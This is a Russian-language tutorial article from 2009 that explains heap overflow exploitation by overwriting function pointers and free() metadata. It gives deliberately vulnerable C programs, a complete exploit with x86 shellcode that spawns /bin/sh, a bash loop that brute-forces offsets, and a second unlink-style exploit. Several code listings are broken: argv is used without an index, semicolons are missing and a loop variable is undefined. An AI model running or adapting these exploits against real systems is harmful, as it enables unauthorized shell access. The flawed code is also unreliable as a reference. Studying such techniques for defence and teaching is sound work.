Как работают эксплоиты на основе heap overflow

Добавил Support
Для ITDoc

1 звезда2 звезд3 звезд4 звезд5 звезд (2 голосов, средний: 5.00 из 5)
Загрузка ... Загрузка ...
698 Просмотров!

Издано: апреля 23, 2009

1. Почему была написана статья.
2. Описание ошибки.
3. Уязвимая программа (пример и exploit для неё)
4. Реальный пример эксплоита.

1. Большое количество эксплоитов было зарелизено в последнее время.
Некоторые из них основаны на технологии перезаписи указателя
функции(function pointer), позволяющей выполнить шеллкод на стеке или
куче. Вот самые известные из последних эксплоитов, использующие данную
технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo,
sshchan.

Тысячи серверов по всему миру были взломаны. В большинстве случаев эти
эксплоиты использовались так называемымиsсriptkiddie`s, которые не
имеют представления о том, как они работают и что делают. В связи с
этим я попытаюсь рассказать о технике перезаписи указателя функции в
деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда
вы закроете свой “вьювер” =) вы станете просвящены в данном вопросе.

2. Лучший способ разобраться в проблеме - рассмотреть пример уязвимой
программы.

Давайте взглянем на следующий код:

#include <stdio.h>
#include <string.h>

main()
{
unsigned long difference;
char *buffer1,*buffer2;

*buffer1 = (char *)malloc(16)

*buffer2 = (char *)malloc(16);
difference = (unsigned long)buffer2 - (unsigned long)buffer1;
memset(buffer2, 'A', 15), buffer2[15] = '\0';
memset(buffer1, 'B', (unsigned int)(difference + 8));
}

После компиляции и выполнения наши буферы будут содержать следующее:

До переполнения:

buffer2=AAAAAAAAAAAAAAAA

После:

buffer2=BBBBBBBBAAAAAAAA

Buffer1 “вылез” за свою границу в пространство зарезервированное для
buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого
указателя, выполнить шеллкод.

Посмотрите на следующий код:

expl.c

#include <stdio.h>
#include <string.h>
int function(const char *argument);

int main(int argc, char **argv)
{
static  char buf[128];
static int (*funcptr)(const char *argument);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s [buffer] [function argument]\n", argv[0]);
exit(1);
}

funcptr = (int (*)(const char *argument))function;
memset(buf, 0, sizeof(buf));
strncpy(buf, argv, strlen(argv));
(void)(*funcptr)(argv);
return 0;
}

int function(const char *argument)
{
printf("\nArgument is: %s\n", argument);
return 0;
}

Разберемся, что он делает. Получает 2 аргумента. Первый аргумент -
строка вызывающая переполнение, второй - будет запускать нашу функцию.
Наша функция будет выводить на экран. Как мы можем “эксплуатировать”
это ? Очень просто. Используем первую строку, которая может быть
произвольно большой длины для перезаписи указателя функции и
заставляем его указывать на шеллкод, расположенный в “куче”. Конечно,
мы можем разместить наш шеллкод в первом аргументе программы, подобно
классическому buffer overflow, но тогда сложнее получить адрес
возврата, да и многие системы сегодня уже не имеют выполнимого стека.

К примеру, я использую StackGuard для защиты своей системы от такого
нападения.

Теперь приступим к написанию эксплоита.

3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера.

static char buf[128];

Итак, под буфер отводится 128 байт.
Легко заметить, в моем первом примере, что вылезая за границы буфера в
место, отведенное под heap-переменную, можно перезаписать указатель
функции на адрес нашего шеллкода. Получается что-то вроде этого:

{AAAAAAAA...AAAAAAAAAAAAA}{shellcode address}{NULL byte}
128 bytes of crap        4 bytes long       1 byte

Видно, что длина буфера эксплоита должна быть 128+4+1 байт.

char buf[128 + sizeof(unsigned long) + 1];

Тогда верхний адрес будет определен так:

sysaddr = (unsigned long)sbrk(0)

Будем вычитать пока не сорвем джек-пот ;) :

sysaddr = (unsigned long)sbrk(0) - atoi(argv);

Если размер шеллкода превышает размер нашего буфера - тогда на выход:

if (128 + 4 + 1 < strlen(shellcode))exit(1);

Если всё ОК, поместим наш шеллкод в буфер:

strcpy(buf, shellcode);

После шеллкода добавим мусора… Это будет последовательность ААА.. ,
также определим NULL’евой байт, который выступает в роли завершителя
строки:

memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) +
sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = '\0';

Теперь в конец “разрешенных” 128 байт, запишем адрес возврата
шеллкода, задом-наперед, не забыв про то, что работаем с linux,
который использует формат little endian.

for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;

Например, если адрес - 0xffff5467, то запишем - 6754ffff. Далее,
передаем наш шеллкод, как аргумент функции. Когда указатель функции
будет перезаписан нашим буфером, shellcode будет выполнен.

execl("./expl","expl", buf, shellcode, NULL);

Объединим все сказанное в небольшую программу:

go.c

#include <stdio.h>
#include <string.h>

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

main(int argc, char **argv)
{
register int i;
unsigned long sysaddr;
char buf[128 + sizeof(unsigned long) + 1];

if (argc <= 1)
{
printf("\nUsage: %s [offset]\n", argv[0]);
exit(1);
}

sysaddr = (unsigned long)sbrk(0) - atoi(argv);
if (128 + 4 + 1 < strlen(shellcode))
exit(1);

strcpy(buf, shellcode);
memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + sizeof(unsigned long));
buf[128 + sizeof(unsigned long)] = '\0';

for (i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;

execl("./expl","expl", buf, shellcode, NULL);
return 0;
}

Для того, чтобы получить шелл, вы должны выполнить exploit с
параметром offset. Таким образом ./go [offset] . Я создал маленький
скрипт, делающий это для вас. Назовите его sсript.

#!/bin/bash
i=0
while [ $i -lt 1000 ]; do
i=`expr $i + 1`
./go $i
echo $i
done

Выполните его:

root@localhost~# shsсript
..........
sh-2.5#

Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости,
которая широко распространена в реальной жизни.

4. Здесь я рассмотрю пример перезаписи указателя функции free(),
конкретно то, что встречается в реальных условиях. Это точно такая же
техника, на которой построены эксплоиты для openssh-2.9* for freebsd и
openssl apache exploit.

Смотрим:

Для понимания того, что будет написано далее, необходимо знать как
работает функция free(). Объяснение её работы выходит за рамки данной
статьи, читайте MAN`ы. Вот подходящий для “эксплуатации” код:

#include <stdio.h>
#define BUFSIZE 56
int main(int argc, char **argv)
{

char *buf1, *buf2;

if(argc == 1) {
printf("\nUsage: %s [string].\n",argv[0]);
return(0);
}

buf1 = (char *) malloc(BUFSIZE);
buf2 = (char *) malloc(BUFSIZE);

strcpy(buf2,"AAAAAAAAAAAAAAAA");
strcpy(buf1, argv);

printf("\n%s\n", buf1);

free(buf2);
free(buf1);

return(0);

}

Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если
строка более 56 символов, разрешенных для аргумента, то она
перезапишет часть buf2. Мы должны заменить первые 8 байт, для того,
чтобы “эксплуатировать” эту программу по стандартной схеме:

[BUFSIZE bytes of shit] [previous size of buf2(предыдущий размер
buf2)] [size of buf2(размер buf2)] [8 bytes of crap] [ptr safe 4
bytes] [ptr safe 4 bytes] [ptr to overwrite lоcation - bufsize1
-4(указатель на перезаписываемую область)] [return addy(адрес  возврата)]
[jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)]
[bufsize1-4 bytes of crap] [shellcode of your choice(шеллкод на ваш выбор)]
ptr to overwrite lоcation - адрес функции free(), его можно узнать

так:

objdump -R vulnerable_program_binary | grep free

Адрес возврата - адрес шеллкода, обычно можно узнать брутфорсом.
Далее приведен эксплоит, построенный по показанной схеме:

#include <stdio.h>

main(int argc,char **argv)
{
unsigned long sysaddr=0x0804968c-12/* free() address-16-4 */
unsigned long retaddr;                /* shellcode address */
int i;
char buf[1000];
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

strcpy(buf,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
/* 56 chars */
strcat(buf,"\xf0\xff\xff\xff");                   /* [previous size of buf2] */
strcat(buf,"\xfc\xff\xff\xff");                   /* [size of buf2] */
strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc");   /* 8 bytes of shit */
strcat(buf,"\xfc\xff\xff\xff");                   /* [ptr safe 4 bytes] */
strcat(buf,"\xfc\xff\xff\xff");                   /* [ptr safe 4 bytes] */
buf[56+4+4+8+4+4 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255;
/* [ptr to overwrite lоcation - bufsize1 -4] */
retaddr=sysaddr+atoi(argv);
buf[56+4+4+8+4+4+4+ i] = ((unsigned long)retaddr >> (i * 8)) & 255;
strcat(buf,"\xeb\x0c\x90\x90"); /* jump ahead 12 bytes */
strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc");
/* [bufsize1-4 bytes of crap] */
strcat(buf,shellcode); /* shellcode */

execl("./a","a",buf, NULL); /* blow them baby */
}

Популярность: 31% [!]

Tagged with: , , ,


Спонсор



 WPSN comments




Да человек я, человек! =)

ITDoc самый Последний